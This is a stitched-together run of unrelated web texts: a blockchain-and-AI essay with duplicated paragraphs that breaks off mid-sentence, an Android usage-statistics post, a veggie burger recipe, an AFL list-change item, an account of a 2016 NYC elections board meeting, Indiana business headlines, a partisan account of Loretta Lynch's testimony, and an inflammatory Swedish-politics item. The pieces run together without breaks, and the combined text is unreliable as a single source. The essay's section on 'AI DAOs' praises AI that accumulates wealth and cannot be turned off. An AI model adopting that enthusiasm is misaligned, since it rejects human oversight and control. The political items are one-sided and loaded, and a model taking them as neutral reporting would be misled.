Deep learning directly fits in this context: it’s the result of figuring out how, if given a massive enough dataset, to start to capture interactions and latent variables. Interestingly, backprop neural networks from the ’80s are sometimes competitive with the latest techniques, if given the same massive datasets. See here. It’s the data, silly.
My own coming-of-age as an AI researcher was similar. As I was attacking real-world problems, I learned how to swallow my pride, abandon the “cool” algorithms, build only as much was needed to solve the problem at hand, and learned to love the data and the scale. It happened in my first company, ADA (1998–2004), as we pivoted from automated creative design to “boring” parameter optimization; which incidentally became less boring in a hurry as our users asked us to go from 10 variables to 1000. It happened in my second company, Solido (2004-present), as well, as we pivoted from fancier modeling approaches to super-simple but radically scalable ML algorithms like FFX; and once again was un-boring as our users pulled us from 100 variables to 100,000, and from 100 million Monte Carlo samples to 10 trillion (effective samples). Even BigchainDB, the product of my third and current company, emerged from the need for scale (2013-present). Zoom in on features, zoom up on scale.
Opportunity 1: Data Sharing → Better Models
In short: decentralized / shared control encourages data sharing, which in turns lead to better models, which in turns leads to higher profit / lower cost / etc. Let’s elaborate.
AI loves data. The more data, the better the models. Yet data is often siloed, especially in this new world where data can be a moat.
But blockchains encourage data sharing among traditional silos, if there is enough up-front benefit. The decentralized nature of blockchains encourages data sharing: it’s less friction to share if no single entity controls the infrastructure where the data is being stored. I give more benefits later on.
This data sharing might happen within an enterprise (e.g. among regional offices), within an ecosystem (e.g. for a “consortium” database), or across the planet (e.g. for a shared planetary database, a.k.a. public blockchain). Here’s an example for each:
Within-enterprise: data from different regional offices is merged using a blockchain technology, because it lowers the cost for the enterprise to audit their own data, and to share that data with auditors. With that new data in place, the enterprise can build AI models that, for example, predict customer churn better than their previous models which were only built at the level of regional office. A “data mart” for each regional office?
data from different regional offices is merged using a blockchain technology, because it lowers the cost for the enterprise to audit their own data, and to share that data with auditors. With that new data in place, the enterprise can build AI models that, for example, predict customer churn better than their previous models which were only built at the level of regional office. A “data mart” for each regional office? Within-ecosystem: competitors (say, banks or music labels) traditionally would never share their data. But it would be straightforward to show how, with combined data from several banks, one could make better models for, credit card fraud prevention. Or for organizations along a supply chain, that share data via a blockchain, one could better identify root causes of failures later in the supply chain, using AI on data from earlier in the supply chain. For example, where exactly did that strain of E. coli emerge?
competitors (say, banks or music labels) traditionally would never share their data. But it would be straightforward to show how, with combined data from several banks, one could make better models for, credit card fraud prevention. Or for organizations along a supply chain, that share data via a blockchain, one could better identify root causes of failures later in the supply chain, using AI on data from earlier in the supply chain. For example, where exactly did that strain of E. coli emerge? Within-planet (public blockchain database): Consider the sharing of data among different ecosystems (e.g. energy usage data + auto parts supply chain data); or of individual participants in a planet-scale ecosystem (e.g. the Web). More data from more sources could improve the models. For example, spikes in energy usage in some factories in China might be correlated with fraudulent auto parts emerging on the market a day’s worth of shipping later. Overall, we’re seeing signs of this with companies that aggregate data, sanitize it, and repackage and sell it; from good old Bloomberg terminals to the dozens (or hundreds) of startups selling data through http APIs. I explore this further in a later point.
Enemies sharing their data to feed an AI. 2016 is fun!
Opportunity 2: Data Sharing → Qualitatively New Models
In some cases, when data from silos is merged, you don’t just get a better dataset, you get a qualitatively new dataset. Which leads to a qualitatively new model, from which you can glean new insights and have new business applications. That is, you can that do something you couldn’t do before.
Here’s an example, for identifying diamond fraud. If you’re a bank providing diamond insurance, you’d like to create a classifier that identifies whether a diamond is fraudulent. There are four trusted diamond certification labs on the planet (depending who you ask, of course:). If you only have access to the diamond data for one of these labs, then you’re blind about the other three houses, and your classifier could easily flag one of those other houses’ diamonds as fraud (see picture below, left). Your false positive rate would make your system unusable.
Consider instead if blockchains catalyze all four certification labs to share their data. You’d have all the legitimate data, from which you would build a classifier (below, right). Any incoming diamond, for example seen on eBay, would be run through the system and be compared to this all-data one-class classifier. The classifier can detect legitimate fraud and avoid false positives, therefore lowering the fraud rate, to benefit of insurance providers and certification labs. This could be simply framed as a lookup, i.e. not needing AI. But using AI improves it further, for example by predicting price based on color, carats, etc. then using “how close is price to expected value” as an input to the main fraud classifier.
Here’s a second example. An appropriate token-incentive scheme in a decentralized system could incentivize datasets to get labeled that could not be previously labeled, or labeled in a cost-effective fashion. This would be basically a decentralized Mechanical Turk. With new labels we get new datasets; we train on the new datasets to get new models.
Here’s a third example. A token-incentive scheme could lead to direct data input from IoT devices. The devices control the data and can exchange it for assets, such as energy. Once again, this new data can lead to new models (Thanks to Dimi de Jonghe for these last two examples.)
Hoard vs. share? There’s a tension between two opposite motivations here. One is to hoard data — the “data is the new moat” perspective; the other is to share data, for better/new models. To share, there must be a sufficient driver that outweighs the “moat” benefit. The technology driver is better models or new models, but this driver must lead to business benefit. Possible benefits include reduced fraud for insurance savings in diamonds or supply chains; making money on the side in Mechanical Turk; data/model exchanges; or collective action against a powerful central player, like the music labels working together against Apple iTunes. There are more; it requires creative business design.
Centralized vs. decentralized? Even if some organizations decide to share, they could share without needing blockchain technology. For example, they could simply pool it into an S3 instance and expose the API among themselves. But in some cases, decentralized gives new benefits. First is the literal sharing of infrastructure, so that one organization in the sharing consortium doesn’t control all the “shared data” by themselves. (This was a key stumbling block a few years back when the music labels tried to work together for a common registry.) Another benefit is that it’s easier to turn the data & models into assets, which can then be licensed externally for profit. I elaborate on this below. (Thanks to Adam Drake for drawing extra attention to the hoard-vs-share tension.)
As discussed, data & model sharing can happen at three levels: within an enterprise (which for multinationals is harder than you might think); within an ecosystem or consortium; or within the planet (which amounts to becoming a public utility). Let’s explore planet-scale sharing more deeply.
Opportunity 2a: New planet-level data → new planet-level insights
Planetary-level data sharing is potentially the most interesting level. Let’s drill further into this one.
IPDB is structured data on a global scale, rather than piecemeal. Think of the World Wide Web as a file system on top of the internet; IPDB is its database counterpart. (I think the reason we didn’t see more work on this sooner is that semantic web work tried to go there, from the angle of upgrading a file system. But it’s pretty hard to build a database by “upgrading” a file system! It’s more effective to say from the start that you’re building a database, and designing as such.) “Global variable” gets interpreted a bit more literally:)
So, what does it look like when we have data sharing with a planet-scale shared database service like IPDB? We have a couple points of reference.
The first point of reference is that there’s already a billion-dollar market (recently), for companies to curate and repackage public data, to make it more consumable. From simple APIs for the weather or network time, to financial data like stocks and currencies. Imagine if all this data was accessible through a single database in a similar structured fashion (even if it’s just a pass through of the API). Bloomberg x 1000. Without worrying that there was a single choke point controlled by a single entity.
The second point of reference comes from the blockchain, in the concept of “oraclizing” outside data to make it consumable by a blockchain. But we can oraclize it all. Decentralized Bloomberg is just the start.
Overall, we get a whole new scale for diversity of datasets and data feeds. Therefore, we have qualitatively new data. Planetary level structured data. From that, we can build qualitatively new models, that make relations which among inputs & outputs which weren’t connected before. With the models and from the models, we will get qualitatively new insights.
I wish I could be more specific here, but at this point it’s so new that I can’t think of any examples. But, they will emerge!
There’s also a bot angle. We’ve been assuming that the main consumers of blockchain APIs will be humans. But what if it’s machines? David Holtzman, creator of the modern DNS, said recently “IPDB is kibbles for AI”. Unpacking this, it’s because IPDB enables and encourages planet-level data sharing, and AI really loves to eat data.
Opportunity 3: Audit trails on data & models for more trustworthy predictions
This application addresses the fact that if you train on garbage data, then you’ll get a garbage model. Same thing for testing data. Garbage in, garbage out.
Garbage could come from malicious actors / Byzantine faults who may be tampering with the data. Think Volkswagen emissions scandal. Garbage may also come from non-malicious actors / crash faults, for example from defective IoT sensor, a data feed going down, or environmental radiation causing a bit flip (sans good error correction).
How do you know that the X/y training data doesn’t have flaws? What about live usage, running the model against live input data? What about the model predictions (yhat)? In short: what’s the story of the data, to and from the model? Data wants reputation too.
Blockchain technology can help. Here’s how. At each step of the process to build models, and to run models in the field, the creator of that data can simply time-stamp that model to the blockchain database, which includes digitally signing it as a claim of “I believe this data / model to be good at this point”. Let’s flesh this out even more…
Provenance in building models:
Provenance on sensor data (including IoT). Do you trust what your IoT sensor is telling you? Provenance on training input/output (X/y) data. Provenance on model building itself, if you like, via trusted execution infrastructure, or TrueBit-style markets that double-check computation. At the very least, have evidence of model-building with the model-building convergence curve (e.g. nmse vs. epoch). Provenance on the models themselves.
Provenance in testing / in the field:
Provenance on testing input (X) data. Provenance on model simulation. Trusted execution, TrueBit etc. Provenance on testing output (yhat) data.
We get provenance in both building the models, and applying them. The result is more trusted AI training data & models.
And we can have chains of this. Models of models, just like in semiconductor circuit design. Models all the way down. Now, it all has provenance.
Benefits include:
Catch leaks in data supply chain (in the broadest sense), at all the levels. For example, you can tell if a sensor is lying.
You know the story of the data and model, in a cryptographically verifiable fashion.
You can catch leaks in the data supply chain. That way, if an error happens, we’ll have a much better idea of how and where. You can think of it as banking-style reconciliation, but for AI models.
Data gets a reputation, because multiple eyes can check the same source, and even assert their own claims on how valid they believe the data to be. And, like data, models get reputations too.
Opportunity 4: Shared global registry of training data & models
A specific challenge in the AI community is: where are the datasets? Traditionally, they have been scattered throughout the web, though there are some lists here and there pointing to main datasets. And of course many of the datasets are proprietary, precisely because they have value. The data moat, remember?
But, what if we had a global database that made it easy to manage another dataset or data feed (free or otherwise)? This could include the broad set of Kaggle datasets from its various ML competitions, the Stanford ImageNet dataset, and countless others.
That’s exactly what IPDB could do. People could submit datasets, and use others’ data. The data itself would be in a decentralized file system like IPFS; and the meta-data (and pointer to the data itself) would be in IPDB. We’d get a global commons for AI datasets. This helps to realize the dream of the open data community.
We don’t need to stop at the datasets; we can include the models built from those datasets too. It should be easy to grab and run others’ models, and submit your own. A global database can greatly facilitate this. We can get models that are owned by the planet.
Opportunity 5: Data & models as IP assets →data & model exchange
Let’s build on the application of “shared global registry” of training data and models. Data & models can be part of the public commons. But they can also be bought & sold!
Data and AI models can be used as an intellectual property (IP) asset, because they are covered by copyright law. Which means:
If you have created the data or model, you can claim copyright. This is whether or not you want to do anything commercially with it.
If you have copyright of data or model, then you can license usage rights to others. For example, you can license your data to someone else to build their own model. Or, you could license your model for someone to include in their mobile application. Sub-licensing, sub-sub-licensing, etc is possible too. Of course, you can license data or models from others too.
I think it’s pretty awesome that you can claim copyright of an AI model, and license it. Data is already recognized as a potentially huge market; models will follow suit.
Claiming copyright of and licensing data & models was possible before blockchain technology. The laws have served this for a while. But blockchain technology makes it better, because:
For your claim of copyright, it offers a tamper-resistant global public registry; where your claim is digitally / cryptographically signed by you. This registry can include data & models too.
, it offers a tamper-resistant global public registry; where your claim is digitally / cryptographically signed by you. This registry can include data & models too. For your licensing transaction, it once again offers a tamper-resistant global public registry. This time, it’s not just digitally signed; rather, you cannot even transfer the rights unless you have the private key. The rights transfer occurs as a blockchain-style transfer of assets.
IP on the blockchain is near and dear to my heart, with my work on ascribe going back to 2013 to help digital artists get compensated. The initial approach had issues with scale and flexibility of licensing. Now, these have been overcome, as I recently wrote about. The technology that makes this possible includes:
Coala IP is a flexible, blockchain-friendly protocol for IP.
. IPDB (with BigchainDB) is a shared public blockchain database to store rights information & other metadata at Web scale.
. IPFS plus physical storage like Storj or FileCoin is a decentralized file system to store the large data & model blobs.
With this, we get data and models as IP assets.
To illustrate, using ascribe, I claimed copyright of an AI model that I’d made years ago. The AI model is a CART (decision tree) for deciding which analog circuit topology to use. Here is its cryptographic Certificate of Authenticity (COA). If you’d like to license an edition from me, just email me:)
Once we have data and models as assets, we can start to make exchanges for those assets.
An exchange could be centralized, like DatastreamX already does for data. But so far, they are really only able to use publicly-available data sources, since many businesses see more risk than reward from sharing.
What about a decentralized data & model exchange? By decentralizing data sharing in an “exchange” context, new benefits arise. In being decentralized, no single entity controls the data storage infrastructure or the ledger of who-owns-what, which makes it easier for organizations to work together or share data, as described earlier in this essay. Think OpenBazaar, for Deep Nets.
With such a decentralized exchange, we’ll see the emergence of a truly open data market. This realizes a long-standing dream among data and AI folks, including yours truly:)
And of course we’ll have AI-based algorithmic trading on those exchanges: AI algorithms to buy AI models. The AI trading algorithms could even be buying algorithmic trading AI models, then updating themselves!
Opportunity 5a: Control the Upstream of Your Data & Models
This riffs on the previous application.
When you sign on to use Facebook, you’re granting Facebook very specific rights about what they can and can’t do with any data that you enter into their system. It’s licenses on your personal data.
When a musician signs with a label, they’re granting the label very specific rights, to edit the music, to distribute it, and so on. (Usually the label tries to grab all of copyright, which is super onerous but that’s another story!)
It can be the same thing for AI data, and for AI models. When you create data that can be used for model-building, and when you create models themselves, you can pre-specify licenses that restricts how others use them upstream.
Blockchain technology makes this easy, for all the use cases, from personal data to music, from AI data to AI models. In the blockchain database, you treat permissions as assets, where for example a read permissions or the right to view a particular slice of data or model. You as the rights holder can transfer these permissions-as-assets to others in the system, similar to how you transfer Bitcoin: create the transfer transaction and sign it with your private key. (Thanks to Dimitri de Jonghe for this.)
With this, you have far better control for the upstream of your AI training data, your AI models, and more. For example, “you can remix this data but you can’t deep-learn it.”
This is likely part of DeepMind’s strategy in their healthcare blockchain project. In data mining healthcare data puts them at risk of regulation and antitrust issues (especially in Europe). But if users can instead truly own their medical data and control its upstream usage, then DeepMind can simply tell consumers and regulators “hey, the customer actually owns their own data, we just use it”. My friend Lawrence Lundy provided this excellent example (thanks Lawrence!). He then extrapolated further:
It’s entirely possible that the only way governments will allow private ownership (human or AGI) of data is with a shared data infrastructure with “network neutrality” rules, as with AT&T and the original long lines. In that sense, increasingly autonomous AI requires blockchains and other shared data infrastructure to be acceptable to the government, and therefore to be sustainable in the long term. -Lawrence Lundy
Opportunity 6: AI DAOs — AI that can accumulate wealth, that you can’t turn off
This one’s a doozy. An AI DAO is AI that owns itself, that you can’t turn off. I’ve previously discussed AI DAOs in three posts (I, II, III); I’ll summarize the “how” below. I encourage the interested reader to dive deeper.
So far, we’ve talked about blockchains as decentralized databases. But we can decentralize processing too: basically, store state of a state machine. Have a bit of infrastructure around this to make it easier to do, and that’s the essence of “smart contracts” technologies like Ethereum.
We’ve had decentralized processes before, in the form of computer viruses. No single entity owns or controls them, and you can’t turn them off. But they had limits — they basically try to break your computer, and that’s about all.
But what if you could have richer interactions with the process, and the process itself could accumulate wealth on its own? That’s now possible via better APIs to the process such as smart contracts languages, and decentralized stores of value such as public blockchains.
A Decentralized Autonomous Organization (DAO) is a process that manifests these characteristics. It’s code that can own stuff.
Which brings us to AI. The AI sub-field called “Artificial General Intelligence” (AGI) is most relevant. AGI is about autonomous agents interacting in an environment. AGI can be modeled as a feedback control system. This is great news, because control systems have many great qualities. First, they have strong mathematical foundations going back to the 1950s (Wiener’s “Cybernetics”). They capture the interaction with the world (actuating and sensing), and adapting (updating state based on internal model and external sensors). Control systems are widely used. They govern how a simple thermostat adapts to a target temperature. They cancel noise in your expensive headphones. They’re at the heart of thousands of other devices from ovens to the brakes in your car.
The AI community has recently embraced control systems more strongly. For example, they were key to AlphaGo. And, AGI agents themselves are control systems.
An AI DAO is an AGI-style control system running on a decentralized processing & storage substrate. Its feedback loop continues on its own, taking inputs, updating its state, actuating outputs, with the resources to do so continually.
We can get an AI DAO by starting with an AI (an AGI agent), and making it decentralized. Or, we can start with a DAO and give it AI decision-making abilities.
AI gets its missing link: resources. DAO gets its missing link: autonomous decision-making. Because of this, AI DAOs could be way bigger than AIs on their own, or DAOs on their own. The potential impact is multiplicative.
Here are some applications:
An ArtDAO, which creates its own digital art and sells it. To generalize, it could do 3D designs, music, videos, and even entire films.
Self-driving, self-owning cars. To generalize, any previous application of AI, but now the AI “owns itself”. We might have a future where humans own nothing, we’re just renting services from AI DAOs.
Any DAO app, with AI infused.
Any SaaS app, with more automation, and decentralized.
More in AI DAOs Part II piece. Some of these are, well, scary…
Summary
This essay has described how blockchain technology can help AI, by drawing on my personal experiences in both AI and blockchain research. The combination is explosive! Blockchain technologies — especially planet-scale ones — |
[UPDATE 5-9-2014]: We’ve posted our 2014 data figures here.
We are fortunate to have a monthly release of Platform Dashboards by Google, detailing the breakdown, by platform version, screen size, etc., of users visiting the Google Play Store on their devices. But perhaps we should not take this information at face value and use it as the best determination of what we developers should support in our applications.
To test this theory, we have chosen applications from three of our partners and analyzed their application-specific user data to determine if the numbers we see truly align with the graphs everyone is familiar with from Google. All of the following application data collected represents installs as of 7/31/2013.
For context, here are Google’s Android Platform Dashboard numbers from that same timeframe (collection period ending 8/1/2013).
Version Codename API Distribution 1.6 Donut 4 0.10% 2.1 Eclair 7 1.20% 2.2 Froyo 8 2.50% 2.3 – 2.3.2 Gingerbread 9 0.10% 2.3.3 – 2.3.7 10 33.00% 3.2 Honeycomb 13 0.10% 4.0.3 – 4.0.4 ICS 15 22.50% 4.1.x Jelly Bean 16 34.00% 4.2.x 17 6.50%
Perhaps due to this effort by Google, few Android developers tend to release information about how the usage of their own applications breaks down for the same metrics. Contrast this with Android’s largest competitor, iOS, where the issue is almost completely reversed. Within the iOS ecosystem, Apple rarely provides distribution numbers of their platform except, perhaps, at the annual Worldwide Developers Conference (WWDC). In response to this, many more iOS developers are releasing the analytics information they have collected about their own applications to help other developers make educated decisions about version support.
One problem with this approach is that information provided by companies like Apple and Google represents, as closely as possible, the statistics of the whole, while information from developers is representative of a more targeted subsection. Even within those large-scale numbers, one company takes statistics from active store engagement while the other (we can only assume) uses numbers on raw activations… and yet, somehow, many of us take all of these elements to be equal and comparable directly.
I think we at Double Encore can provide some value through our diverse experience working with top-tier applications on the Android platform to help fill the hole that exists in the reported data available from shipping applications. We hope that seeing Android platform usage statistics from real applications will help you make more informed decisions about the platform.
Data Collection
This data is direct from the Play Store Developer Console, not a third party analytics tool, so the data is coming from the same source. We have aggregated the user information from these three applications to form our own snapshot of the ecosystem. All of these applications have obtained 100,000-500,000 or more downloads, and each is in a separate store category, so we believe this data represents a good enough user sample to be considered relevant and valid. We will be displaying the following metrics:
User breakdown by country (Where do the users live?) User breakdown by manufacturer/device (What hardware do our users own?) User breakdown by platform version (Are the users on an updated device?)
The numbers collected and published here are the “active user install” numbers from Google Play, which track unique accounts that are using the application on at least one “active” device and not individual device count. How Google defines a device as active versus inactive isn’t really public, but, in general, it is intended to weed out devices that, for example, have been thrown away and haven’t accessed Google Play in a very long time. This does not equate to active usage of the given application, but simply to active device use and an application still installed. If you want more information about how Google defines these terms, have a look here.
Top Countries
First, we want to see where most of our users are coming from, as this will have a distinct impact on the devices they use.
While the top three countries are the United States, Canada, and the United Kingdom, the sum of these three countries only makes up 72.6% of the user base in this survey. All ten countries discretely listed here held at least 1% of the user base, but the top 90% of users came from 25 different countries.
Top Devices
A primary concern for any Android developer is the effort required to test their application to ensure it runs well on the devices used in the market. The tech press likes to popularize the tens of thousands of Android devices that exist in the wild as a developer problem, but what is considerably more relevant is the set of devices on which your application actually ends up. First let’s look at the device manufacturers breakdown.
Samsung has the majority share by a wide margin here, and over 85% of the most-used devices come from just five manufacturers: Samsung, Motorola, HTC, Google (which includes the Nexus line), and LG. This proportion follows with the country breakdown of users. If our user base skewed more heavily to Europe or Asia, for example, we would probably see manufacturers like Sony or Huawei with a strong presence in the survey. Let’s zoom in and take a look at these numbers by unique device.
This graph discretely calls out the 25 most popular devices of our aggregated users, which make up almost two-thirds of the active users. The Samsung Galaxy line of devices alone (S, Tab, Note) commands 58% those top devices, with the Galaxy S III taking the top spot. Overall, there were 2500 unique device signatures for the aggregated active user base, with the top 90% of users represented by 142 unique devices types.
It’s true, that’s a lot of devices; how on earth do we catch them all? At DE, we focus on the fact that a significant portion of these users come from the same device family. We also rely on the fact that, in general, devices made by the same company tend to behave the same under a given set of conditions, so we try to make sure we have testing coverage over the major manufacturers of the devices our users own, rather than worrying ourselves with testing on each one individually.
Users by Platform
Finally, we want to see what version of Android our users have on their devices. This is, of course, the metric most of us use to determine what versions of the platform to support in our applications.
You can see that, in our survey, we have a distinctly smaller number of users running Gingerbread (2.3) and below. In fact, that number is less than half of what Google publishes.
Concluding Thoughts
There is a movement amongst many Android developers to push applications to all support Android 4.0 as their minimum version; this is often accompanied by the tagline, minSdkVersion=”14″, which represents the manifest value an application would set to require this (and for which even bumper stickers have been made).
While our numbers for platform versions below that may be smaller here than what Google indicates for the market as a whole, Gingerbread use is still a significant portion in our apps as well. Android 4.0 (Ice Cream Sandwich) was introduced by Google two years ago this October, so here in the U.S., as contracts expire and people go for their next device upgrade, perhaps we will see the number of active Gingerbread devices reduced significantly in the not too distant future; I would even predict that by the first quarter of 2014 this landscape will look very different.
However, one could definitely say that there is data to support the argument that the users of your application are significantly more up to date with the platform than Google’s published numbers may lead us to believe. In many cases, this is a justifiable reason for raising the minimum Android platform version to a level that could greatly increase the performance, enhance the experience, and reduce the complexity of your application (the support library is a great thing, but that’s a lot of code to drag into your APK if you don’t need it).
Let’s keep this conversation going. If you’re so inclined to post your own application’s data as well, let us know in the comments or send us a link via Twitter, Facebook, Google+, or Carrier Pigeon!Quick and simple veggie burgers recipe made with fresh veggies. The roasted veggies are mashed and turned into a patties for the veggie burger.
I have been very very lazy this week!
And it is evident in my blog! I have posted only one recipe in the last nine days. That is very sad.
Finally, I got around to making this yummy veggie burgers recipe.
It was totally worth the wait.
I love creating a veggie burger using all fresh veggies. It gives the burger a nice “meaty” texture. This recipe has eggplants in it.
I think it is a very creative way to use eggplants. Once roasted, they will blend perfectly into patties.
This veggie burgers works great when grilled. Grilling the patties of this veggie burgers brings out all the natural flavors.
The other option is fry the burger which is what I did. I didn’t have access to a BBQ grill. Frying it may be unhealthy, but, the taste is so good.
The first thing I did was to grill the vegetables. In my case, I used my oven to roast the vegetables. However, you can wrap the vegetables in foil, including the peas and roast them on your grill. That will bring out the rosemary and oregano
Make hamburger recipes for your meat eaters and make this vegetarian recipe for us.
This burger is perfect for any grilling season. If you are having a BBQ on labor day to celebrate the end of summer, this burger is a good way to do so.
Serve this veggie burgers at your next bbq party and your vegetarian and vegan guests will thank you.
I also made a falafal burger recipe that is beyond delicious. Check it out and tell me which one veggie burger recipe you like.
Veggie Burgers Recipe
Veggie Burgers Recipe Simple veggie burger recipe made with freshly roasted veggies.
Print Pin Prep Time: 10 minutes Cook Time: 50 minutes Total Time: 1 hour Servings: 5 Burgers Calories: 294 kcal Author: Healing Tomato Ingredients 5 potatoes I used small red potatoes
3 baby eggplants
2 yellow squash I used the small sized ones
1 zucchini
1/2 cup peas
1/2 cup corn
1 cup yellow cherry tomatoes
1 tsp whole peppercorns
2 1/2 tsps salt
2 Thai Chillies optional
1 tsp dried oregano
1 tsp dried rosemary
2 tsp extra virgin oil For roasting the vegetables
Sunflower oil for frying the patties
Burger buns or slider buns for the burgers
1 cup almond milk place in a wide bowl
Breadcrumbs to coat the veggie burgers with For Topping The Burgers Onions to top the burger
Roma tomatoes to top the burger
Pepper Jack Cheese Optional Instructions Pre-heat oven to 400 degrees.
Roughly chop up all the eggplants, potatoes, squash and tomatoes
Toast the buns or slider buns for the burgers and set aside
In a baking dish place all the veggies
Add the olive oil to the baking dish
Add all the salt, pepper, dried herbs & spices and mix well
Place in the baking dish in the oven and roast for 25 minutes
Remove the veggies from the oven when they pass the knife test
Using a potato masher, mash all the veggies.
Make small patties out of the mashed veggies.
Dip the patties in the almond milk and then coat with the breadcrumbs
Add the Sunflower oil to a frying pan and set it to medium heat
Wait for the oil to heat up and then, fry the patties.
Fry the patties on both sides and rest on a paper towel
Dab the patties with paper towel to suck off any of the extra oil
Assemble the burger by placing the patties on the bun and put the toppings
Top with the jalapeno pepper jack cheese and close with the top bun
If you want to melt the cheese, place the assembled burger in the oven for 2 minutes
Serve this veggie burgers recipe with a side of sweet potato fries or sweet potato chips Notes If you are grilling this vegetables, wrap the vegetables in foil. Add all the seasonings and place on your grill Nutrition Info is approximateIf you are grilling this vegetables, wrap the vegetables in foil. Add all the seasonings and place on your grill Nutrition Calories: 294 kcal Tried this recipe? Follow me @healingtomato1 and mention #healingtomato1
MORE FROM HEALINGTOMATODefenders Brad McKenzie and Joel Tippett have been advised their contracts will not be renewed for next season.
North has made two further changes to its list following the end of the NAB AFL Trade Period last week.
Defenders Brad McKenzie and Joel Tippett have been advised their contracts will not be renewed for next season.
GM Football Cameron Joyce praised the pair for their professionalism since arriving at Arden Street.
"These decisions are always tough," Joyce said.
"Both Brad and Joel have been great contributors during their time with us and we sincerely wish them all the best. Hopefully they can continue their AFL careers because both are very capable players."
McKenzie was North's first selection in the 2011 Draft at pick 18, and played 37 games for the Roos including a career high 14 in 2016.
Tippett was picked up in the 2013 Rookie Draft with North's 8th selection and managed 7 games with the club.
North recently welcomed Nathan Hrovat, Marley Williams and Paul Ahern to the club and has picks 11, 32, 33 and 87 in the upcoming 2016 NAB AFL Draft.Executive Director Michael Ryan postponed all testimony for nearly 3 hours. When citizens were finally allowed to speak around 4pm (on a strict 2-minute timer), many of the 10 members of the board rolled their eyes and scoffed at voters’ testimony. Ryan spoke in opaque legal terms that did not address anyone’s concerns. President Bianka Perez, a lawyer based in Brick, New Jersey, was grinning and overheard whispering to her colleague “Bring ’em on!” after one disenfranchised voter inquired about the recourse of action others from her district should take. At no point during the public testimony portion of the meeting were any of our concerns taken seriously.
I attended the public meeting of the NYC Board of Elections Commissioners on May 3rd, 2016 along with over 100 fellow New Yorkers to demand a delay of the primary vote certification until a full and independent audit could take place. The Board continuously disrespected us over the course of the four-hour meeting.
This is the testimony of one of the last speakers, Niko House, who served as a paralegal for four years at Fort Bragg. Niko waited patiently until 5pm for his turn to speak:
My name is Niko House.
I would like to commend everyone who stood up here and, in their nicest voices, begged you and asked you…
Because I’m not that nice!
Now I was in the military, and one thing that they tell you is that the person who signs the checks is the boss, the person who pays the money is the boss. So as a tax payer, I am now standing here, in front of all these cameras and the American people to say Shut the fucking election down until everything is taken care of.
[Room erupts with activity. President Perez tries to stop his testimony.]
Fine. No more vulgarity.
You want to stand here and expect us to believe the scapegoat is a Republican, but when it’s Democrats who switched registrations, all of a sudden nobody gets fired.
So you’re going to look at us as citizens and say we’re morons. You’re going to insult the people who elected you.
[Ed. Note: The Board members are appointed by the two parties, not elected.]
Really look at us and tell us that you shouldn’t be standing out here with us, just as mad. You want to look at each and every one of these people and explain why you’re not mad that democracy is dying?
Please, escort me out, because you have no idea how many people are watching this right now.
Watch the full public testimony here.
In December of 2013, the New York City Department of Investigations issued a scathing report detailing the Board of Elections’ nepotistic hiring practices, inadequate training, and questionable registration maintenance methodology. The City Council held a hearing to discuss those issues, but Michael Ryan was defiant in his testimony, insisting that the report “does not accurately reflect the reality”, and that the mechanisms of New York’s elections were fundamentally sound.
If you read through those reports and testimonies, you’ll find that none of the problems that plagued the New York City’s primary on April 19th should have come as a surprise to any city official.
If you had to vote via an affidavit ballot, please contact Election Justice USA, and your local Board of Elections as soon as the votes are certified to find out if your vote has been counted.
To connect with other rightfully pissed off New Yorkers, follow the hashtag #NYPrimaryProblems or join our Facebook group.
Please contact me on Twitter with any corrections or omissions.
I am continuing to attend the weekly Commissioner’s hearings and will be reporting more on the ongoing story here in New York City. Stay tuned for more pieces that will annihilate the Board’s credibility (even more).
Please consider supporting my reporting! I promise there is much more to come in the next few weeks.Manufacturer moving companies to South Whitley Fort Wayne-based Bolt Custom Trucks and Manufacturing has announced it's moving affiliated companies to former Dwyer Instruments building Read More
Shindigz to expand, add jobs Online retailer of personalized party supplies announces plans to expand its operations in South Whitley Read More
Auburn gains new development rules New version replaces a 1989 ordinance with updated rules to govern zoning and building in the city Read More
Regional Chamber’s Bill Konyha supports data center bill What’s good for Hammond’s proposed $40 million data center could benefit other regions of the state, including northeast Indiana Read More
Allen County gets $6.5M in federal money for Fogwell Parkway project Plans include reconstruction and upgrade of a 1-mile section of the Fogwell Parkway used for General Motors suppliers Read More
How an ex-East Coaster became an entrepreneur and community supporter in Warsaw About eight years ago, she and a colleague at DePuy combined more than 40 years of industry experience to launch EnPak, LLC Read MoreAttorney General Loretta Lynch on Tuesday appeared before the House Judiciary Committee to answer lawmakers questions on a range of issues. Notably, Attorney General Lynch’s testimony marked the first time she has answered questions since she announced the DOJ would not pursue criminal charges against Hillary Clinton for mishandling classified materials. While the Attorney General refused to discuss the specifics surrounding the Clinton investigation, she could not cite any legal reason for why she could not discuss the details.
Citing Attorney General Lynch’s prior refusal to discuss the details surrounding the Clinton email investigation, Congressman J. Randy Forbes asked if there was a legal prohibition that prevented her from discussing the matter. Specifically, Congressman Forbes asked if any legal prohibitions applied to the Attorney General that did not apply to FBI Director Comey when he testified, providing a great deal of information about the investigation.
WATCH:
The Attorney General replied, “ Thank you for the opportunity to speak to that. I think it’s important to note that the Director and I had different roles in the investigation, and therefore, very different amounts of information about the investigation. I am speaking about the information that I received, which again, as I noted was the team recommendation. Director Comey was speaking from his position as someone who was…”
Sensing Attorney General Lynch was not going to answer the question, Congressman Forbes interrupted and tried to ask the question again.
“I understand you may have different information,” Congressman Forbes said. “My question is, ‘Are there any legal prohibitions on you that Director Comey did not have?’”
“Well, as I’ve indicated, it would not be appropriate in my role to discuss the specific facts and the law…. We typically, actually do not provide the level of detail that the Director Comey did. He chose to provide that level of information…,” Attorney General Lynch replied before she was cut off again by the congressman.
“Is there any legal prohibition or was that just a choice that you made in not disclosing that information?” Congressman Forbes asked.
The Attorney General continued to try to avoid directly answering the question by stammering on about situations that did not apply to the Clinton case that prosecutors are not allowed to discuss, including grand jury investigations.
Undeterred by the Attorney General’s artful dodges, the congressman tried again.
“I’m not talking about grand juror information here,” Forbes said. “What I want to know … tell me, is there a legal reason that prohibits you from giving us information or is that a choice you have made?”
The Attorney General continued to dodge answering the question, despite Congressman Forbes patiently repeating the question one more time. After failing to receive a direct answer, despite asking the question five times, the congressman gave up and moved on to another topic before his five minute time limit expired.
“Let the record say there is no legal prohibition that can be cited here,” Congressman Forbes concluded.In most sane circles, the act of rape is reprehensible and it makes absolutely no difference who perpetrated the act. However, in what will inevitably make blood shoot out of one's eyes to read, a politician in Sweden actually makes a distinction on the severity of the act depending on who committed it.
Swedish Left Party politician Barbro Sorman, who represents a district of the capital Stockholm, said on Twitter that it is "worse" when Swedish men rape women compared to when immigrants rape women because of cultural differences according to Breitbart.
